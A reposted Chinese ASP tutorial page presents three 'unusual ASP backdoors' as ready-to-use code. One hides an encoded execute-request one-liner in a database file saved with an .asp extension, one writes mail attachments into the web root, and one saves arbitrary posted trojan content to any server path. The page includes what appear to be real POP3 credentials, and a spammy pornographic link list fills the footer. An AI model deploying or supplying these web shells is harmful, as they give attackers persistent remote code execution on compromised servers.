一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家：專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - ASP教程 - 幾種另類的ASP后門

幾種另類的ASP后門

2019-09-29 11:00asp代碼網 ASP教程

幾種另類的ASP后門

  1. <%   
  2. 'code by netpatch  
  3. dim dbfile,sql   
  4. db="netpatch.asp"  
  5. dbfile=server.MapPath(db)   
  6.  
  7. set ydb=server.CreateObject("ADOX.Catalog")   
  8. ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile   
  9. set ydb=nothing   
  10. if err.number=0 then   
  11. Response.Write dbfile & " 創建成功<br> "   
  12. else   
  13. Response.Write "創建失敗，原因： " & err.description   
  14. Response.End   
  15. end if   
  16.  
  17. Set Conn = Server.CreateObject("ADODB.Connection")   
  18. Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile   
  19.  
  20. sql="CREATE TABLE fdata([data] Memo)"   
  21. conn.execute(sql)   
  22.  
  23. Set rs = CreateObject("ADODB.RecordSet")   
  24. rs.Open "FData", conn, 1, 3   
  25. rs.addnew   
  26. rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>"   '(注釋記得去掉！一句話后門 execute request(“n”))  
  27. rs.update   
  28.  
  29.  
  30. %>  
  31.  
  32. 用Jmail寫文件進硬盤  
  33.  
  34.  
  35.  
  36. <%   
  37.     'codz by kEvin1986 [S4T]  
  38.     User=Request.Form("User")  
  39.     Pass=Request.Form("Pass")  
  40.     Popserver=Request.Form("Popserver")  
  41.  
  42.     if User<>"" and Pass<>"" and Popserver<>"" then  
  43.         Set objmail = CreateObject( "JMail.POP3" )  
  44.         objmail.Connect User, Pass, Popserver  
  45.  
  46.         set objmsg=CreateObject("jmail.message")  
  47.         Set objmsg = objmail.Messages.item(1)   
  48.         separator = ", "  
  49.         response.write "Attachment Name is: " & SaveAtta & "<br>"  
  50.         objmail.Disconnect  
  51.     End if  
  52.  
  53.     Function SaveAtta()  
  54.         Set Attachments = objmsg.Attachments  
  55.         separator = ", "  
  56.         response.write "The size of this Attachment is: " & objmsg.size & "<br>"  
  57.         For i = 0 To Attachments.Count - 1  
  58.         If i = Attachments.Count - 1 Then  
  59.               separator = ""  
  60.         End If  
  61.  
  62.         Set Theatta = Attachments(i)  
  63.         response.write Theatta.Name   
  64.         Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)  
  65.         Response.write "Oh!Hey Guy.....That's OK!"  
  66.         Next  
  67.     End Function  
  68. %>  
  69.  
  70. <Html>  
  71. <Head>  
  72. <Title>Jmail Save File Shell</Title>  
  73. </Head>  
  74. <Body>  
  75. <Center>  
  76. <Form Method="POST">  
  77. User: <input name="User" type=text value="kevin1986"><br>  
  78. Pass: <input name="Pass" type=text value="1986lovinghuan"><br>  
  79. POP3: <input name="Popserver" type=text value="pop.163.com"><br>  
  80. <input type=submit value="Get the Attachments Of the First Mail">  
  81. </Form>  
  82. </Center>  
  83. </Body>  
  84. </Html>   
  85.  
  86. 利用xml寫馬  
  87.  
  88.  
  89. <%on error resume next%>  
  90. <form id="form1" name="form1" method="post" action=''''>  
  91. <p>木馬內容</p>  
  92. <p><textarea name="flashboy" cols="80" rows="10"></textarea></p>  
  93. <p>路徑</p>    
  94. <p><input name="textfield" type="text" size="50" /></p>  
  95. <p><input type="submit" name="Submit" value="提交" /></p></form>  
  96. <p><%Response.write "本文件絕對路徑"%>  
  97.   <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>  
  98. <%  
  99. dim xmlString  
  100. dim xmlDoc  
  101. xmlString= Request("flashboy")  
  102. set xmlDoc = server.createObject("Msxml2.DOMDocument")  
  103. xmlDoc.loadXml(xmlString)  
  104. f=Request("textfield")  
  105. xmlDoc.save(f)  
  106. set xmlDoc=nothing  
  107. %>  

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板： 短篇同学新婚h系列小说 | 男女男精品网站免费观看 | 嫩草影院国产 | 视频国产91 | 无毒成人社区 | 日本哺乳期网站xxxx | 国产精品高清一区二区三区不卡 | 免费观看在线观看 | 国内9lporm自拍视频区 | 精品久久久麻豆国产精品 | 2021国产精品成人免费视频 | 日韩一品在线播放视频一品免费 | 国产剧情一区 | 欧美性理论片在线观看片免费 | 成人猫咪maomiav永久网址 | 成人一区二区免费中文字幕 | 荡娃艳妇系列小说 | 好紧好爽再叫浪一点点潘金莲 | 欧美四级无删版影片 | 边吃奶边扎下面 | 精品网站一区二区三区网站 | 67194久久| 国产精品福利短视在线播放频 | 99久视频| 亚洲精品国产一区二区第一页 | 国产伦精品一区二区三区免费迷 | 亚洲gogo人体大胆西西安徽 | 久久re这里精品在线视频7 | 精品国产一区二区三区久 | 国产精品久久久久久影视 | poren18日本老师hd | 99小视频 | 8天堂资源在线官网 | 色综合天天综合网站中国 | www免费看 | 亚洲国产精品嫩草影院永久 | 波多野结衣在线观看视频 | 亚州免费一级毛片 | 狠狠插综合网 | 亚洲色图150p | 国模娜娜一区二区三区 |